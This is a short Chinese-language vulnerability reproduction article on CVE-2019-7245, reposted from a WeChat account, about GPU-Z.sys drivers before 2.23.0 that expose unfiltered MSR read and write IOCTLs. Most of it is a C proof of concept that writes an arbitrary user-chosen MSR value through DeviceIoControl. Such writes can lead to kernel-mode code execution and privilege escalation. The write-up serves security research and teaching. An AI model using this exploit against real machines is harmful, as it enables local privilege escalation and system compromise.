漏洞描述:
在2.23.0之前的GPU-Z中的GPU-Z.sys中发现了一个问题。易受攻击的驱动程序通过IOCTL公开了wrmsr指令,并且未正确过滤模型特定寄存器(MSR)。允许任意MSR写操作可能会导致执行Ring-0代码并提升特权。
漏洞形成:
在GPU-Z驱动中发现IOCTL 0x80006430+24与0x80006430+28中存在直接的读与写MSR的功能,并且没有任何有效的过滤操作。使得通过DeviceIoControl 请求指定IOCTL后能够在R3直接操控MSR对系统和CPU的重要配置信息进行读取修改替换。
漏洞复现:
POC:
//参数为 4字节 MSR编号 ,输出8字节数据
//参数为 4字节 MSR编号 和 8字节数据
typedef struct _WRMSR_INFO {
UINT32 MsrID;
UINT64 MsrData;
}WRMSR_INFO, *PWRMSR_INFO;
int main(){
WRMSR_INFO MsrInfo;
HANDLE hFile;
hFile = CreateFile(DEV_NAME, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_DEVICE, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("打开设备失败%xn", GetLastError());
return 0;
}
DWORD dwRetSize = 0;
printf("输入欲修改的MSR ID(hex):");
scanf_s("%x", &MsrInfo.MsrID);
printf("输入数据(hex):");
scanf_s("%I64x", &MsrInfo.MsrData);
DeviceIoControl(hFile, IOCTL_WRMSR, &MsrInfo, sizeof(MsrInfo), NULL, 0, &dwRetSize, NULL);
if (dwRetSize)
printf("[-]修改失败!错误:%dn", GetLastError());
else
printf("[+]修改成功~n");
CloseHandle(hFile);
return 0;
}
本文始发于微信公众号(锋刃科技):GPU-Z MSR寄存器任意读写(CVE-2019-7245)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论